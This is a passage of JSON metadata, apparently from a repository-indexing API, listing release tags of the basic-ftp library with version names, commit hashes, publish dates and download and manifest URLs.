c-ftp/tags/v5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2/manifests"},{"name":"v5.2.1","sha":"ba40f9d60e1ff7b63de5d5bb272ae317e5382689","kind":"commit","published_at":"2026-04-08T15:29:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1/manifests"},{"name":"v5.2.0","sha":"5d41e45073ed1a8a3b5e5a1bbfcd131e61295bf8","kind":"commit","published_at":"2026-02-23T08:13:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0/manifests"},{"name":"v5.1.0","sha":"9da4af0e1f82fe372bedc1b7820f55c6eaf012e5","kind":"commit","published_at":"2025-12-26T21:24:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0/manifests"},{"name":"v5.0.5","sha":"1c92a9438704585a80aeaaad3e060382a35edad3","kind":"commit","published_at":"2024-02-27T21:05:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5/manifests"},{"name":"v5.0.4","sha":"80e27be5dc562e5e18fcb2889e21d9568917dc1c","kind":"commit","published_at":"2023-12-13T19:58:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4/manifests"},{"name":"v5.0.3","sha":"aa83d68f8958c4cc2684d35b2f6724afa5904adc","kind":"commit","published_at":"2023-05-05T08:12:17.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3/manifests"},{"name":"v5.0.2","sha":"6deecaf9f3aa0312c92ee96389c405b79311e862","kind":"commit","published_at":"2022-09-01T10:52:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2/manifests"},{"name":"v5.0.1","sha":"864f57e62fde72572f79509f81d976145815b82d","kind":"commit","published_at":"2022-07-21T09:24:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1/manifests"},{"name":"v5.0.0","sha":"9bd6aa772524cef2800db5a71169130d18983e80","kind":"commit","published_at":"2022-07-16T07:38:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0/manifests"},{"name":"4.6.6","sha":"80b805759413d023cc6fb0b9ae12d7d0fe8d5e27","kind":"commit","published_at":"2021-03-27T17:46:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/4.6.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/4.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@4.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6/manifests"},{"name":"v4.6.5","sha":"27444603def5a4a89653e11e9c6089783bbf7c82","kind":"commit","published_at":"2021-03-26T19:49:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5/manifests"},{"name":"v4.6.4","sha":"4db4f4ae4f81433adb429f241ec26e2e43797e87","kind":"commit","published_at":"2021-03-24T21:02:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4/manifests"},{"name":"v4.6.3","sha":"8ed3c24e56706a52653d862e61b57340dcbcb4e9","kind":"commit","published_at":"2020-10-31T08:15:36.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3/manifests"},{"name":"v4.6.2","sha":"7dc31f9a1a4dd6720606fcbf6fbf13916d928be0","kind":"commit","published_at":"2020-07-03T07:18:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2/manifests"},{"name":"v4.6.1","sha":"026db49d2212d0d9e99321545ecc19e74b957807","kind":"commit","published_at":"2020-06-07T05:14:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1/manifests"},{"name":"v4.6.0","sha":"3bfec5f56b1393e0f2f02f8b2cc4406513bd2a4c","kind":"commit","published_at":"2020-06-06T17:50:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0/manifests"},{"name":"v4.5.4","sha":"2c6ba44a284f4a0a6a1f1df98b7bbd7d5d62fdb5","kind":"tag","published_at":"2020-03-22T10:15:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4/manifests"},{"name":"v4.5.3","sha":"f3ede38f6f0cec7761fb0c7db81ac30b5c91a5ff","kind":"tag","published_at":"2020-01-14T17:36:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3/manifests"},{"name":"v4.5.2","sha":"dad3d226ec8454840a40c41f14225b2161e97615","kind":"tag","published_at":"2019-12-26T18:01:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2/manifests"},{"name":"v4.5.1","sha":"1acb581dcaddc17596e780fe04628f730cbe5656","kind":"tag","published_at":"2019-11-07T17:12:40.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1/manifests"},{"name":"v4.5.0","sha":"1e8a8144e8f0721321beac443f4f545f8ab47276","kind":"tag","published_at":"2019-11-06T13:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0/manifests"},{"name":"v4.4.1","sha":"26a2f00ed82f17df6777fcbcb8aba295f7532cb7","kind":"tag","published_at":"2019-10-29T13:56:21.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1/manifests"},{"name":"v4.4.0","sha":"0499592114f3becbc2d554e12ab8e10e6b21b658","kind":"tag","published_at":"2019-10-28T09:18:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0/manifests"},{"name":"v4.3.2","sha":"8d71ddbe37b927c3fb5028e8410ab669524b9e7b","kind":"tag","published_at":"2019-10-27T11:04:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2/manifests"},{"name":"v4.3.1","sha":"67690d0689e6defaf632c2b9cee311b733c7ea0f","kind":"tag","published_at":"2019-10-22T20:34:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1/manifests"},{"name":"v4.3.0","sha":"dbadd6b4c636bd3173adb3a7fe4158f02814cb3f","kind":"tag","published_at":"2019-10-19T11:44:45.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0/manifests"},{"name":"v4.2.1","sha":"58abec8c455a87c5be8eafe54939dbf10a1ab2db","kind":"tag","published_at":"2019-10-17T13:24:32.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"a93e1f30ae55abaafd2694e964c510f6c0f0d4c3","kind":"tag","published_at":"2019-10-13T20:29:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0/manifests"},{"name":"v4.1.0","sha":"08cd4f87ba9f1dbb2b6db3b1f9844a7ec0da2b67","kind":"tag","published_at":"2019-10-09T12:46:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0/manifests"},{"name":"v4.0.2","sha":"37a36355df0e9017cb09d89b340bd24ee574831f","kind":"tag","published_at":"2019-09-26T06:34:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"063e0471820f61b318148afa94ad0e75cb48c199","kind":"tag","published_at":"2019-09-18T07:45:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8e5debbb84668040f1a417512afde275dae367c4","kind":"tag","published_at":"2019-09-13T04:50:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0/manifests"},{"name":"v3.8.3","sha":"1b41b396bb90a295e9be630a69bbc39a72d98e0f","kind":"tag","published_at":"2019-08-29T05:21:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3/manifests"},{"name":"v3.8.2","sha":"fca1005c372e1f7894ce5cc524043c07323b9f62","kind":"tag","published_at":"2019-08-28T19:35:47.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2/manifests"},{"name":"v3.8.1","sha":"280d78828219235f67eac15fac1d155fb8ec0550","kind":"tag","published_at":"2019-08-14T18:05:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"df70dbf1aeeb33f36ca87bd49f7ef8bc78c6bd92","kind":"tag","published_at":"2019-07-25T16:05:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0/manifests"},{"name":"v3.7.1","sha":"7a2f635fc3f6c7796cd5507d9cef3d3034aeaa86","kind":"tag","published_at":"2019-07-19T07:11:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1/manifests"},{"name":"v3.7.0","sha":"8ea7c4258505d6e2d5f43efe130c52e73cc1658d","kind":"tag","published_at":"2019-06-26T12:16:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"b5bd1b7dd1db17b5653331a27ce1c643faa379f6","kind":"tag","published_at":"2019-06-05T13:25:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"f7f4302c90483296be5f9a76be4d92930da24e66","kind":"tag","published_at":"2019-04-19T07:28:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0/manifests"},{"name":"v3.4.4","sha":"bfb84f30151d0caae27c1fe0d24da2bfffefc697","kind":"tag","published_at":"2019-03-20T09:22:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4/manifests"},{"name":"v3.4.3","sha":"23236bf595a8766a8d84d58f5517a034be3ec8cb","kind":"tag","published_at":"2019-03-05T13:31:43.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3/manifests"},{"name":"v3.4.2","sha":"ec464e88599cb7555ac54334cb60b958c58383e5","kind":"tag","published_at":"2019-02-26T14:23:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/